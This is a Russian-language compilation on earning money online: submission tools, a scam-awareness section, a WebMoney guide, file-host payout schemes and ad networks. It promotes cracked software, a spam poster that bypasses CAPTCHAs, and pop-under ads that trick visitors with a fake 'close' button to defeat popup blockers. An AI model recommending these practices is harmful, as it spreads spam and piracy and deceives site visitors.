WebSite Quick Registrator v1.0 (для Yandex.ru)(Rus, Free) Программа предназначена для автоматической регистрации вашего сайта (а также всех страниц вашего сайта) в Яндексе. Чтобы Ваш сайт был быстрее занесен в базу Яндекса, данная программа автоматически регистрирует его в каталоге (в процессе работы программы роботу Яндекса сообщается о существовании сайта и всех его страниц, а уже потом он сам индексирует (регистрирует) сайт). Представьте себе, сколько времени ушло бы у вас на регистрацию сотен страниц вручную! Теперь с программой «WebSite Quick Registrator» вам не надо больше об этом заботиться — она может автоматически регистрировать сотни и тысячи страниц Вашего сайта.

WEB регистратор 1.11 Rus (Size:1MB, Free) Программа поможет Вам в регистрации Вашего сайта в интернет-каталогах и поисковиках.

Sky Fox Promotion 2.16 Rus (Size: 1.6 MB, Free) Программа для автоматического добавления URL сайта в 34 поисковых систем.
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Smart Poster 2.35 (Size: 4.5 МB, + крек) это мощнейшая программа предназначенная для полной автоматизации процесса рассылки на доски объявлений, каталоги ресурсов, FFA, гостевые книги. Основные возможности программы: Многопоточный модуль рассылки позволяет производить рассылку с максимально возможной для используемого интернет-соединения скоростью. Мощнейший парсер, работающий как с объектно-ориентированной моделью документа так и с простым текстом, позволяет добавлять в базу программы любые доски, каталоги, гостевые книги, и производить в них рассылку независимо от того используют ли они Java-скрипты, сесии, куки, контрольные картинки, динамически изменяющиеся поля и пр. Встроенный менеджер баз данных позволяет создавать резервные копии базы данных, импортировать / экспортировать списки адресов, группировать списки по категориям, оперативно проверять адреса на доступность с целью выявления нерабочих ресурсов. Функция многопоточного анализа выдачи поисковых систем. Программа сама обходит все результаты выдачи анализируя найденные адреса на предмет наличия веб-форм. Все найденные формы происходят обработку (парсинг) и добавляются в базу программы. Используя пакетный режим задания значений полей позволяет легко настроить все найденные адреса на рассылку. Уникальная система обмена базами обновлений между пользователями позволяет выполнять обновления базы программы одним щелчком мыши. Поддержка возможности проведения рассылок через прокси-сервера.
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AllSubmitter 3.4 (Size: 4.9 MB, Rus+ крек) Полуавтоматический режим: При использовании AllSubmitter качество регистрации не то что не ниже — даже выше, чем при ручном занесении в базу данных информации о вашем сайте. Хотя бы потому, что возможность «человеческой» ошибки в большинстве случаев предотвращается программой, а самой программе, в свою очередь, не приходится «принимать решений» в тех областях, где компетентен лишь человек. Программа предоставляет собой многооконный, модернизированный, браузер (на основе Internet Explorer), где вы полностью контролируете процесс регистрации, как при обычной ручной регистрации. Но заполнение Вcех полей (в т. ч. рубрик) производится Одним кликом мышки. Автоматический режим: AllSubmitter также содержит модуль для автоматической регистрации. С уникальной возможностью, практически моментальным пополнением и исправлением неработоспособных баз для автоматической регистрации. Таким образом, у вас всегда будут в актуальном состоянии базы для автоматической регистрации. Программа даёт возможность создавать, практически моментально, свои собственные базы сайтов для регистрации, отсеивать неэффективные сайты с точки зрения поисковых систем



Заработок денег на сайте



Предупрежден — значит вооружен


Постоянно помните высказывание одной монашки в момент одевания презерватива на свечу: «Береженного Бог бережет».
Я не пытаюсь никого убедить в неправоте либо взывать к совести. Это бесполезно и каждый сам для себя определяет планку порядочности своего поведения. Для одних в вопросах удаленной работы и заработка в Сети допустимо все ибо таким образом они как бы утверждают свое превосходство в познании вопросов программирования над обычными пользователями Рунета. В моем понятии — это недопустимо, и я называю вещи своими именами: банальная кража личного имущества. И для того, что бы хоть немного обезопасить свои деньги в Сети, советую не пренебрегать следующими рекомендациями.
Бродя по бескрайним просторам Рунета в поисках удаленной работы (заработка в Сети), рекомендую обратить внимание на возможные способы кражи Ваших денег, описанные ниже. Понятно, что приемов обмана в Интернете существует значительно больше. Однако, выполнение даже тех мер безопасности, о которых рассказано ниже, сможет хоть кого-то уберечь от проблем, связанных с потерей денег.
И в системе E-GOLD, и в системе Webmoney иметь по два счета. Это не запрещается, точнее в системе Webmoney достаточно открыть еще один кошелек, а в E-GOLD открыть второй счет, используя свою рефссылку. В дальнейшем что на одном, что на другом счету все деньги держать в «потаенных кошельках», а для получения и расходования денег на платежи использовать свои же, но другие счета. Они должны быть постоянно пустыми и деньги должны на них попадать на несколько минут при проведении денежной операции. Это важный момент.

Никогда, ни при каких обстоятельствах, ни под каким предлогом не отвечайте на письма, якобы пришедшие от платежных систем с просьбой обновить свои данные, для чего нужно перейти по предложенной в письме ссылке. Внешне все будет выглядеть очень пристойно и, даже при переходе по ссылке, внешне Вы не увидите никакой разницы. Вам будет предложено ввести свои данные доступа к счету. Если Вы это сделаете, то сами дадите в руки злодеям свои коды доступа.
Аналогичный способ кражи — никогда не поддавайтесь искушению перейти по предложенным Вам ссылкам за получением какого-нибудь приза или вознаграждения. Очень наивно думать, что Вы где-то там, в какой-то лоторее или конкурсе, в которой Вы даже не регистрировались и которой не существует в природе, что-то выиграли и Вам остается только получить этот выиграш. Обычное мошенничество!!! И вообще возьмите себе в привычку просто удалять все письма, адреса корреспондентов которых Вам не знакомы. Это обычный СПАМ. Если, конечно, Вы не имеете желание воспользоваться услугами спамеров и увеличить свой член до 30–40 сантиметров. Другой полезной информации в этих письмах нет.
Практически все пользователи Рунета проходят стадию работы с таким спонсором, как RUSIP.RU. Прекрасный спонсор, фактов обмана по оплате в Рунете не встречал. Это, можно сказать, классика Рунета. Но в этой прелести есть ложечка дегтя для тех, кто этого не знает либо знает (слышал), но рассчитывает на русское «авось». Работая с этим спонсором, нужно очень четко усвоить и выполнять категорично: перед выводом денег, до захода на страницу оплаты нужно почистить «куки» и удалить все временные файлы, затем перезагрузить компьютер и только после этого заходить на страницу оплаты и делать заказ. Для тех, кто не знает, как делается предыдущая операция (почистить «куки», удалить файлы) есть русскоязычная программа (маленькая по объему), которую абсолютно бесплатно можно получить в разделе 'Утилиты — Системные'.
При посещении сайтов серфинга и почтовиков, вне зависимости от того, какой антивирусник стоит на Вашем компьютере, различная гадость на него проникает. Касательно сказанного выше, этот подлый скрипт в момент вывода денег попадает на Ваш счет и выдает команду на перевод денег на счет злодея. Платежная система E-GOLD воспринимает его действия, как Ваши и преспокойно выписывает расходный ордер. А в окошке вверху на странице оплаты Вы увидите только сообщение об ошибке и невозможности выполнить перевод денег.
Следующий способ кражи денег состоит в том, что Вам предложено большое количество нужных и ценных товаров за чисто символическую плату. При этом сам сайт, делающий такую распродажу, чаще всего находится на платном сервере. Цена за десятки и даже сотни товаров может быть в пределах нескольких центов и даже одного цента. Такие предложения сразу должны Вас насторожить. Согласившись на покупку, Вы, как на приличном сайте, попадете на страницу оплаты и, сделав оплату…, естественно ничего не получите. Если бы только это. Зайдя на свой E-GOLD счет, Вы обнаружите его приличное «похудение».
А фокус состоит в том, что в скрипте, на котором работает страница оплаты, внесены небольшие изменения в виде замены центов на граммы. И, поскольку E-GOLD хранит все в металле, такой вывод (именно в граммах) в этой платежной системе абсолютно допускается, но в переводе на привычные нам центы разница огромная. Вот и получается, что Вы сами, своей рукой дарите злодею свои кровно заработанные.
В последнее время становиться популярным способ кражи с помощью мобильного телефона. Большого распространения в Рунете такой способ еще не получил, но уже нужно быть готовым. Он не является особо изысканным и отчасти повторяет вышеописанные способы. А суть состоит в следующем…
На данный момент сделать подмену номера вызывающего абонента технически очень несложно. Уже многие Рунетчики хорошо знакомы с различными сервисами рассылок SMS и e-mail от чужого имени. Появляется большое количество вторичных операторов связи, которые в числе основных услуг предлагают и такие. Моральную сторону этого вопроса мы не обсуждаем, вопрос чисто в техническом исполнении.
Потенциальная жертва, получив такой звонок и, видя на дисплее своего мобильника, что он якобы действительно исходит от работников банка (ведь на экране отображается номер банка) «уточняет» данные своего номера счета (кредитки) и персональные данные. Результат такого интервью предвидеть несложно.
Нужно очень твердо помнить — работники банка никогда таких вопросов задавать не будут, а по телефону тем более.
Способов кражи денег (будем называть вещи своими именами) существует очень много. И если Вам есть, что рассказать, Ваша информация будет добавлена.



Справка по WEBMONEY


I. Что такое WebMoney
WebMoney — это система перевода денег (в российских рублях и американских долларах) через Интернет. Как это происходит? Вы устанавливаете на свой компьютер небольшую программу и которая через Интернет подключается к центральному серверу WebMoney и переводит деньги с Вашего WebMoney-кошелька в кошелек другого пользователя WebMoney или наоборот. Все эти переводы защищены сильным шифрованием, чтобы никто не мог взломать или обмануть систему. Так что WebMoney является самым быстрым (перевод занимает несколько секунд), надежным, безопасным способом перевода денег.
WebMoney — это что-то вроде электронного кошелька, в котором хранятся Ваши деньги. В WebMoney есть два типа кошельков: в российских рублях (называется R-кошелек) и в американских долларах (называется Z-кошелек). Деньги в кошельках WebMoney называются титульные знаки, то есть для R-кошелька титульные знаки — это российские рубли, а для Z-кошелька титульные знаки — это американские доллары.
С помощью WebMoney можно покупать товары в российских (и стран СНГ) интернет-магазинах, как американцы своими кредитными карточками. С кошелька WebMoney можно получить наличные деньги или наоборот, внести наличные деньги в кошеле WebMoney.
Официальный сайт системы WebMoney, где можно прочитать обо всем: www.webmoney.ru
II. Получение WebMoney-идентификатора
Каждый пользователь системы WebMoney получает WebMoney-идентификатор (12 цифр), это как номер счета в банке.
Теперь скачайте саму программу-установщик WebMoney (примерно 1 мегабайт) с этого сайта: http://www.webmoney.ru/keeperclas.shtml и установите ее.
Кстати, эта программа называется WebMoney Keeper Classic, но для краткости будем называть ее WebMoney.
Запустите программу WebMoney. Появится круглое желтое окно в виде монеты с двумя кнопками: Регистрация и Вход. Подключитесь к Интернет и нажмите кнопку Регистрация. Она попросит ввести путь и имя файла, где будет хранится ключ (пароль) и файл, где будут хранится кошельки (введите, например, c: в первом и втором случае, чтобы сохранить эти файлы на диске C, имена файлов она даст сама — это будут файлы keys.kwm, purses.pwm и purses.pwm.save. Ниже введите пароль и повторите его еще раз (запишите или хорошо запомните пароль — без него Вы потеряете деньги, хранящиеся в WebMoney, сделайте копии этих трех файлов — без них тоже потеряете деньги). Потом она несколько минут будет подключаться к своему серверу и сообщит Ваш WebMoney-идентификатор (12 цифр), запишите его вместе с паролем.
После этого откроется основное окно программы. Для того чтобы завершить регистрацию нажмите Меню->Настройки — >О себе и в открывшемся окне укажите Ваши имя, фамилию и адрес (остальное указывать не обязательно), без этой информации она не позволяет переводить или получать деньги.
На этом регистрация завершена, программа готова к работе.
Подробнее описание интерфейса программы можно прочитать по адресу: http://www.webmoney.ru/keeperhelp.shtml
Чтобы выйти из программы нажмите Меню->Выход. Когда в следующий раз будете запускать ее, сначала подключитесь к Интернет, затем на круглом желтом окне нажимайте кнопку Вход. Затем вводите Ваш WebMoney-идентификатор (12 цифр), НЕ НАЖИМАЙТЕ клавишу Enter, подождите секунду, появится еще одно желтое окно — в нем введите пароль и нажмите клавишу Enter. Подождите пару минут, пока она подключится к своему серверу, после этого она готова к работе. Если она вдруг спросит «Вы новый пользователь системы WebMoney?» Нажимайте, НЕТ и попробуйте снова.
III. Внесение денег в кошелек WebMoney.
Программа WebMoney создаст Вам два кошелька — один для российских рублей (R-кошелек, он будет называться FirstR) и один для американских долларов (Z-кошелек, он будет называться FirstZ). Кошельки имеют 12-значные номера), есть буква R или Z и 12 цифр). Чтобы посмотреть Ваши кошельки, нажмите на третий сверху рисунок (на нем нарисован кошелек) — появится список кошельков (FirstR и FirstZ), пока там 0.00.

Внести деньги в кошелек можно разными способами.
1) Купить WebMoney-карту
2) Через обменный пункт
3) Банковским переводом
4) Почтовым переводом
5) Получить оплату в кошелек WebMoney за выполненную работу
6) Если есть знакомый, у которого есть WebMoney и он хочет получить наличные деньги, то можно попросить чтобы он перевел WebMoney-деньги в Ваш кошелек, а Вы ему дадите наличные деньги.
Подробнее о способах внесения денег в кошелек WebMoney можно прочитать по адресу: http://www.webmoney.ru/wmoutertrans.shtml
Рассмотрим эти способы поподробнее. Самые быстрые способы — это 1 и 2 (и конечно 6).
1. WebMoney-картой. Вы покупаете WebMoney-карту, запускаете программу WebMoney, нажимаете Меню — >Пополнить кошелек
2. Через обменный пункт. Вы приходите в обменный пункт, говорите номер Вашего кошелька, отдаете деньги и они переводят в Ваш кошелек эту сумму. В большинстве случаев, обменный пункт — это просто человек, которого WebMoney уполномочил проводить эти операции. Обменные пункты берут за свои услуги комиссионные, так что если хотите внести в кошелек $10, то берите с собой сумму большую. А еще лучше, сначала свяжитесь с ними по e-mail и выясните, сколько это будет стоить. Список обменных пунктов можно посмотреть по адресу: http://www.webmoney.ru/wmoutertrans4.shtml
3. Банковским переводом. Чтобы пополнить кошелек через банк, нужно зайти на http://www.webmoney.ru/income.shtml, заполнить заявку (указывайте номер кошелька с буквой впереди, типа Z123456789012), на открывшейся странице выбрать «Через банковский перевод».
ВНИМАНИЕ. Сначала запустите программу WebMoney и войдите в систему и не закрывайте окна Internet Explorerа, которые будут открываться.
После этого, Вы попадете на страницу где написано:
«Вы входите в защищенную зону сервиса Banking WebMoney Transfer, требующую авторизации!
Выберите версию WM Keeper, которую вы используете, и нажмите ссылку: WebMoney Keeper Classic WebMoney Keeper Light» и кнопка «Провести авторизацию» Ссылку нажимайте WebMoney Keeper Classic. Эта страница загружается минут 5, подождите, пока загрузится до конца, и нажмите кнопку «Провести авторизацию». Если будет спрашивать, доверять ли сертификатам — соглашайтесь. Возможно, попросит перезагрузить компьютер.
Откроется диалоговое окно с вопросом на подтверждение, нажмите ДА. После этого появится еще одно окно, в котором в нижнем поле «Пароль кипера» надо ввести пароль, который Вы установили на WebMoney и нажмите OK. После этого в окне Internet Explorerа где Вы нажимали кнопку «Провести авторизацию» откроется новая страница, на которой нажмите кнопку «Заказать». Откроется страница с договором, внизу нажмите кнопку «Согласен» и Вы получите реквизиты для перевода денег. Теперь идите в банк и переводите деньги на полученные реквизиты, в Ваш кошелек эти деньги попадут через несколько дней, а то и через неделю.
4. Почтовым переводом. Это самый медленный способ, может затянуться на пару недель.
Зайдите на http://www.webmoney.ru/wmintrans5.shtml и посмотрите, как заполнять бланк почтового перевода. Почтовым переводом можно пополнить только R-кошелек, то есть рублевый.
5 и 6 способы понятны без пояснений, не забывайте только указывать номера Ваших кошельков (а не Ваш WebMoney-идентификатор).
IV. Получение наличных денег с кошелька WebMoney.
Наличные деньги с кошелька WebMoney можно получить следующими способами.
1) В обменном пункте
2) Банковским переводом
3) Почтовым переводом
4) Переводом по системе WesternUnion
5) Получить карточку VISA системы WebMoney и снимать деньги с карточки.
Кроме того, деньги WebMoney можно использовать для оплаты покупок в интернет-магазинах. А если есть знакомый, которому нужны деньги WebMoney, то перевести их ему, а он даст Вам наличные.
Подробнее о способах получения денег с кошелька WebMoney можно прочитать по адресу: http://www.webmoney.ru/wmoutertrans.shtml
Рассмотрим эти способы поподробнее.
1. В обменном пункте. Вы переводите деньги на кошелек обменного пункта, а они выдают Вам наличные за вычетом комиссионных. Для получения подробной информации свяжитесь с обменным пунктом. Список обменных пунктов можно посмотреть по адресу: http://www.webmoney.ru/wmoutertrans4.shtml
2. Банковским переводом. Вы отправляете перевод с кошелька WebMoney на Ваш счет в банке.
Подробнее о банковском переводе денег с кошелька WebMoney можно прочитать по адресу: http://www.webmoney.ru/wmoutrans1.shtml
3. Почтовым переводом. Вы отправляете деньги с Вашего кошелька WebMoney почтовым переводом самому себе.
Подробнее о почтовом переводе денег с кошелька WebMoney можно прочитать по адресу: http://www.webmoney.ru/wmoutrans4.shtml
4. Переводом по системе WesternUnion. WesternUnion — это американская система перевода денег (самых обычных, «реальных» денег) по всему миру. Они работают почти во всех странах. Вы отправляете перевод с Вашего кошелька WebMoney, получаете по внутренней связи WebMoney (читайте раздел VI) секретный код, который Вы скажите, когда придете в пункт WesternUnion за деньгами.
Подробнее о переводе денег с кошелька WebMoney по системе WesternUnion можно прочитать по адресу: http://www.webmoney.ru/westernunion/
5. Получить карточку VISA системы WebMoney. Вы можете получить карточку VISA и снимать деньги с этой карточки в любом банкомате по всему миру, использовать ее для оплаты покупок в интернет-магазинах и обычных «реальных» магазинах.
Подробнее о получении карточек VISA можно прочитать по адресу: http://cards.webmoney.ru/asp/default.asp
V. Перевод денег из Вашего кошелька WebMoney в другой кошелек WebMoney.
Деньги можно перевести другому пользователю WebMoney, даже если он в этот момент не подключен к Интернету и его программа WebMoney не запущена. Деньги будут храниться на центральном сервере WebMoney и поступят в кошелек получателя, как только он запустит свою программу WebMoney и подключиться к Интернет.
1) Запустите программу WebMoney, введите Ваш идентификатор и пароль и подождите, пока она подключится к центру сертификации.
2) Нажмите Меню->Кошельки — >Передать деньги — >В кошелек WebMoney.
3) В открывшемся окне заполните следующее:
Откуда Кошелек: выберите Ваш кошелек, с которого переводить деньги.
Сумма: сумму, которую хотите перевести (не указывайте $ или других символов, целую и дробную части разделяйте точкой). Например, чтобы перевести три доллара тридцать центов, выберите Ваш Z-кошелек и сумму укажите 3.30
Куда Кошелек: укажите кошелек того человека, кому хотите перевести деньги. С Вашего Z-кошелька Вы можете перевести деньги только в Z-кошельки, а с R-кошелька — только в R-кошельки. Указывайте букву Z или R и 12 цифр. Например, Z200788263072
Примечание: напишите какой-нибудь комментарий. Например, «плачу за что-то».
После этого нажимайте кнопку Передать, она спросит подтверждения, минуту будет переводить деньги. Потом кнопка Передать исчезнет, останется только кнопка Закрыть, это означает что деньги переведены, можете нажимать Закрыть.
VI. Отправка сообщения другому пользователю WebMoney.
Программа WebMoney позволяет отправлять сообщения другому пользователю системы WebMoney.
1) Запустите программу WebMoney, введите Ваш идентификатор и пароль и подождите, пока она подключится к центру сертификации.
2) Нажмите Меню->Сообщения — >Отправить.
3) В открывшемся окне заполните следующее:
WM# — WebMoney-идентификатор (12 цифр, не путайте с номером кошелька) того пользователя системы WebMoney, кому Вы хотите отправить сообщение.
В большом текстовом поле ниже напишите текст сообщения и нажмите кнопку Отправить, подождите минуту пока она отправит сообщение. Потом кнопка Отправить исчезнет, останется только кнопка Закрыть, это означает что сообщение отправлено, можете нажимать Закрыть.
А теперь за дело!
Желаем Вам огромных успехов!!!

Файловый хостинг. Файлообменники


Система работает довольно просто. Многие из вас слышали о файлообменниках: RapidShare, DepositFiles, Lrtitbit, Vip-file, Filefactory, Swapfile, Zshare, и т.д
Эти компании предлагают заработать, за небольшую услугу. Все что вам необходимо зделать — это залить к ним свой файл (он должен быть не менее 1 mb), получить на него ссылку и етой ссылкой поделится с друзьями, знакомыми и другими лицами. А за каждые 1000 скачиваний вы получаете на свой счет определеное количество денег. Файлов(и ссылок на них) может быть любое количество. Чтобы вам выслали ваши честно заработаные деньги необходимо набрать 5-50$ на своем счете, это минимальная сума выплат.
При не особых усилиях за месяц можно набрать гараздо больше. Деньги выплачивают на кошелек, какой вы укажите в системе. Выплаты производятся один раз в месяц. В первых числах: с 1 по 15. Выплаты у них очень честные. Каждый пользователь получает честно заработаные деньги через Wtb Money. Проблем с получением денег нет.
Рекомендую Вам работать с пятью файлообменниками: Depositfiles, Letitbit, Vip-file, SMSfiles.

Бонусная программа DepositFiles: Платят по 5$ за тысячу скачиваний залитых вами файлов. Действия тут довольно просты: пишете хорошую новость о какой-нибудь программе, заливаете файл на сервер, размещаете новость на популярных сайтах. Однако учтите, если хотите хорошего к себе отношения — давайте людям зеркала на ссылки.
Минимальный вывод — 50$.

Бонусная программа Letitbit: Платят от 5$ до 15$ за тысячу скачиваний залитых вами файлов (из всех стран СНГ и некоторых других). Хорошая техподдержка и форум, где админы отвечают на все вопросы. Действия такие же как и в предыдущем пункте. Как раз залив файл на Letitbit и Depositfiles можно неплохо заработать.
Минимальный вывод — 50$.

Бонусная программа VIP-File: Платят 65–85$ за тысячу скачиваний залитых вами файлов. Отличный файлообменник.
Хорошая техподдержка и форум. На VIP-File полностю поддержывается Remote Upload (удаленная закачка). Т. е.вы можете даже не заливать файлы сами, вы можете просто найти в интернете прямую ссылку на файл, вставить ее в файлообменик, и он уже сам скачает файл, а потом даст вам вашу новую ссылку, на которой вы сможете заработать денег.
Оплачиваются скачивания из всех стран. Выплаты производятся через систему Webmoney, по понедельникам, при балансе более 5$. На етом файлообменнике есть возможность серьезно заработать деньги.
Если человек, который скачал файл, оплатил акаунт, то Вам за это начислится определеная сумма. Бывает даже, что за 1 скачивание Вы получаете 10$. Все зависит от Вашей ловкости и личного везения. Люди очень неплохо зарабатывают деньги с VIP-File,так что рекомендуется попробовать.

Бонусная программа SMSfiles: Платят 350$ за тысячу скачиваний залитых вами файлов. Удивительно, но ето действительно так.
Звучит просто, но на самом деле все конечно гараздо сложнее. Дело в том, что с файлообменника SMSfiles просто так ничего не скачать. Чтобы скачать, нужно отправить SMS-сообщение, стоимость которого чуть больше 1$.То есть, если вам удастся разместить какой-то очень ценный и нужный файл, и люди начнут его скачивать, то тут уж будьте уверены, денег вы получите немало.
Сам файлообменник начал работать не так давно, по сравнению с такими гигантами, как Depositfiles, Letitbit.
Но он неплохо развивается. Люди зарабатывают там деньги, причем неплохо зарабатывают.
У этого файлообменника есть достаточно много преимуществ. Например заплатив 1$, пользователь может скачивать файл на высокой скорости (1 Гигабит/сек.) Докачка поддерживается. В основном для большенства людей — проблема отправить СМС и потратить долар, хотя есть люди, которые принципиально не платят ни за что. Все плюсы этого файлообменника очевидны.
Очень рекомендую зарегистрироваться и начать зарабатывать на SMSfiles.
Для того чтобы начать работать с файлообменниками, Вам, естественно, нужно будет зарегистрироватся.
Для етого кликните на соответствующие название файлообменника. Далее расскажу, как происходит регистрация.
В основном, на всех файлообменниках она происходит по одинаковому сценарию. После того как Вы кликнете на на название файлообменника, Вам будет предложено заполнить форму. Теперь ознакомимся с полями:
ЛОГИН: здесь Вы пишете свой Nick маленькими английскими буквами, например: nika, ivan,можете комбинировать буквы и цыфры.
ПАРОЛЬ: укажыте ваш секретный пароль (конечно же, никому его не давать).
ПОВТОРИТЕ ПАРОЛЬ: просто повторите тот же пароль, что вы ввели в поле пароль.
E-mail: укажыте ваш настоящий адрес электронной почты. Если у вас его нет то зарегистрируйте, например, mail.ru или yandex.ru.
Информация для выплат: Это поле найболее важное. Здесь вы должны указать свой кошелек в системе WebMoney.
ВИМАНИЕ. ВЫ обязательно должны указать здесь ваш WMZ-кошелек, или в дальнейшем получить заработаные деньги будет невозможно.
После того как все поля заполнены, поставте галочку (принять), нажмите кнопку (отправить).
Теперь Вы зарегистрированы в системе. Входите под своим акаутом, закачивайте файлы на сервер, получайте ссылки и начинайте их распостранять.

Партнерские программы с оплатой за клики за показы:


SAPE — система купли-продажи ссылок с главных и внутренних страниц сайтов, включающая в себя ряд уникальных сервисов. истема Sape увеличивает доход вебмастеров и уменьшает расход оптимизаторов. Площадки начинают продавать места не только с главных страниц, но и с внутренних. Сколько страниц на сайте? Пусть каждая приносит доход. Оптимизаторы покупают недорогие внутренние страницы и экономят на продвижении проектов.

XAP — международная рекламная система по продаже прямых текстовых ссылок. Миссия системы XAP.ru — помочь владельцам интернет-сайтов привлечь целевых посетителей и клиентов с поисковых систем и тематических сайтов, уменьшить зависимость сайтов от поисковых систем, улучшить качество поиска путем увеличения количества релевантных ссылок на страницы сайтов-участников и уменьшить роль поискового спама, увеличить доход веб-мастеров от контекстной рекламы. Как?
Мы помогаем владельцам сайтов привлекать посетителей, предоставляя им удобный и эффективный инструмент для увеличения количества качественных сайтов, ссылающихся на их страницы.

BEGUN Партнерки с оплатой за клики — это "контекстная реклама" Вы предоставляете место на Вашем сайте под рекламу, и получаете деньги за клики по ней посетителями!!! В случае, если у Вас не сильно посещаемый, но достаточно специфический ресурс со строгой тематикой или определенного направления — то именно эти партнерские программы принесут Вам наибольшую прибыль. программа begun

PeakClick Партнерка суперская! Для адвансед Веб-мастеров просто золотая жила. Начинающим тоже дают шанс. Ежемесячные конкурсы с призами:
Приз #1 — Лучший вебмастер-новичек
$1000 получает вебмастер, заработавший наибольшую сумму за первый месяц работы (месяц, в котором был проапрувлен Ваш аккаунт).
Приз #2 — Самый развивающийся вебмастер
$1000 получает вебмастер, который максимально увеличил свой доход от рефералов (по сравнению с предыдущим месяцем).
Приз #3 — Вебмастер месяца
$1000 получает вебмастер, который в течение месяца приведет наибольшее количество активных вебмастеров.
Призы #4, 5 и 6 — Приятная неожиданность!
И, наконец, $1000 и два приза по $500 получат три вебмастера, которые будут случайным образом выбраны из нашей базы. Получайте призы за то, что просто зарегистрированы в нашей программе!

ADskape — это интеллектуальная сеть медийной рекламы. С системой ADSkape проведение рекламных кампаний станет простым, эффективным и удобным, а владельцы площадок, в свою очередь, получают мощный инструмент для заработка на продаже рекламы на своем сайте

Tak — Продажа трафика через Tak проста и понятна. Если у вас есть сайт, вы определенно можете заработать на рекламе. Причем, первый платеж можете получить сегодня же. Деньги отправляются в день запроса.

Liveclix — Для web-мастера — один из способов выгодно продать рекламное место на Вашем сайте! Оплата за клики посетителей по объявлениям. Цена клика — от 0.15 до 2.50 рублей. Для рекламодателя — отличная возможность привлечь на Ваш сайт наиболее качественную публику: потенциальных клиентов или заинтересованных посетителей! Быстро и просто! Цена за посетителя от 0.2 рублей! Для всех — зарегистрируйтесь и привлекайте новых пользователей в liveCLiX! Вы получаете 10 % от каждой транзакции с участием Вашего реферала внутри системы.

WMlink — предлагает Вам переход заинтересованного пользователя на Ваш сайт. Стоимость перехода определяется самим рекламодателем. WMlink.ru уникальный инструмент, позволяющий конвертировать аудиторию в деньги. WMlink.ru предлагает Вам отличную партнерскую программу, Вы будете получать 10 % от заработка или рекламных трат привлеченных Вами пользователей.

Партнерские программы которые предлагают владельцам сайтов выкуп трафика посредством технологии pop under:


Ppnd — партнерская программа предлагает владельцам сайтов выкуп трафика посредством технологии pop under. Базовая стоимость 1000 хостов (уникальных IP) — 2.5$, стоимость показа адалт баннеров — 4.5$. Мы выкупаем 100 % трафика каждый день.
Минимальная сумма для снятия — 5 wmz. Выплаты осуществляются еженедельно по понедельникам.
Подробнее о технологии: На сайте партнера размещается плавающий баннер, в правом верхнем углу которого написано «закрыть». Когда пользователь жмет «закрыть», то ПОД сайтом партнера открывается окно. Размещение баннера нужно для преодоления блокировки всплывающих окон. После клика по «закрыть» или баннеру пользователь не видит ни баннер ни окно в течение суток. Ограничение ставится по IP.

Popunder — наша партнерская программа предлагает владельцам сайтов выкуп трафика посредством технологии pop-under. Стоимость 1000 хостов (уникальных IP):
— 2 wmz (рекламируем обычные сайты)
— 2.5 wmz (рекламируем adult-сайты. Тариф можно сменить в аккаунте, меню «настройки»)
Мы выкупаем 100 % трафика каждый день.
К участию принимаются ЛЮБЫЕ сайты.
Минимальная сумма для снятия — 1 wmz.
Подробнее о технологии: На сайте партнера размещается плавающий баннер 468х60, в правом верхнем углу которого написано «закрыть». Когда пользователь жмет «закрыть», то ПОД сайтом партнера открывается окно 640х480.
Размещение баннера нужно для преодоления блокировки всплывающих окон. «Пробив» составляет 50–80 %.
После клика по «закрыть» пользователь не видит ни баннер ни окно в течение суток. Ограничение ставится по IP.

Pop-parad — Что значит «выкуп pop-under трафика»? На сайте партнера размещается плавающий баннер 468х60, в правом верхнем углу которого написано «закрыть». Когда пользователь жмет «закрыть», то ПОД сайтом партнера открывается окно 800x600.
Размещение баннера нужно для преодоления блокировки всплывающих окон. «Пробив» составляет 50–80 %.
После клика по «закрыть» пользователь не видит ни баннер ни окно в течение суток. Есть ограничение по cookies.
Сколько мы платим? Цена равна 3.1$ за 1000 уникальных посетителей.
Посетитель считается уникальным раз в сутки с одного сайта.
Вы покупаете весь трафик? Да.
Когда производятся выплаты? Выплаты производятся раз в неделю, по пятницам.
Есть ли у вас реферальная система? Да, есть. Вы будете получать 10 % от дохода привлеченного вами партнёра.
Почему я должен доверять Вам? Мы исправно платим на adparad.net:)
Что нельзя? Нельзя ставить код iframe, слать китайских робото-человеков. Использовать сервисы почтовых рассылок и систем активной рекламы.
Просто ставьте код на сайт в самый низ.
Нельзя использовать конкурентные системы вместе с нашей системой. (бан аккаунта)
Есть ли требования по географии? Да, кол-во пользователей из России должно быть как минимум 50 %.
Что мы рекламируем? В основном сайты с эротическим содержанием.

Popups — Стоимость 1000 хостов (уникальных IP) — 2.5 wmz Мы выкупаем 100 % трафика каждый день.
К участию принимаются ЛЮБЫЕ сайты.
Минимальная сумма для снятия — 5 wmz.
Выплаты осуществляются в течение 1–2 рабочих дней, с момента подачи заявки на выплату. В выходные дни запросы не обрабатываются (Суббота, воскресенье).
Подробнее о технологии: На сайте партнера размещается плавающий баннер 468х60, в правом верхнем углу которого написано «закрыть». Когда пользователь жмет «закрыть», то ПОД сайтом партнера открывается окно 640х480.
Размещение баннера нужно для преодоления блокировки всплывающих окон. «Пробив» составляет 50–80 %.
После клика по «закрыть» пользователь не видит ни баннер ни окно в течение суток. Ограничение ставится по IP.

Theads.ru — Стоимость 1000 хостов (уникальных IP) — 2.5 wmz.
К участию принимаются ЛЮБЫЕ сайты.
Минимальная сумма для снятия — 5 wmz.
Выплаты осуществляются в течение 1 рабочего дня.
Подробнее о технологии: На сайте партнера размещается плавающий баннер 468х60, в правом верхнем углу которого написано «закрыть». Когда пользователь жмет «закрыть», то ПОД сайтом партнера открывается окно 640х480

1pop — Наша партнерская программа предлагает владельцам сайтов выкуп трафика посредством технологии Pop баннер, Растяжка в шапке сайта и Контекстная реклама — всё по 4 wmz за 1000 хостов (уникальных IP). Мы выкупаем трафик — 1000 хостов (уникальных IP) — 4 wmz
* 10 % за привлечение рефералов.
* Мы выкупаем 100 % трафика каждый день.
* К участию принимаются только руско-язычные сайты.
* Минимальная сумма для снятия — 1 wmz.
* Выплаты осуществляются в течение 1–2 рабочих дней с момента подачи заявки на выплату. В выходные дни запросы не обрабатываются.
Подробнее о технологии:
На сайте партнера размещается плавающий баннер 468х60, в правом верхнем углу которого написано «закрыть». Когда пользователь жмет «закрыть», то ПОД сайтом партнера открывается окно 640х480.
* Размещение баннера в нашем окне нужно для преодоления блокировки всплывающих окон.
* Рекламная шапка — размещается вверху сайта. Узкая полоска с Вашей рекламой.
* Контекстная реклама — это блок ссылок, размещающийся справа внизу сайта.
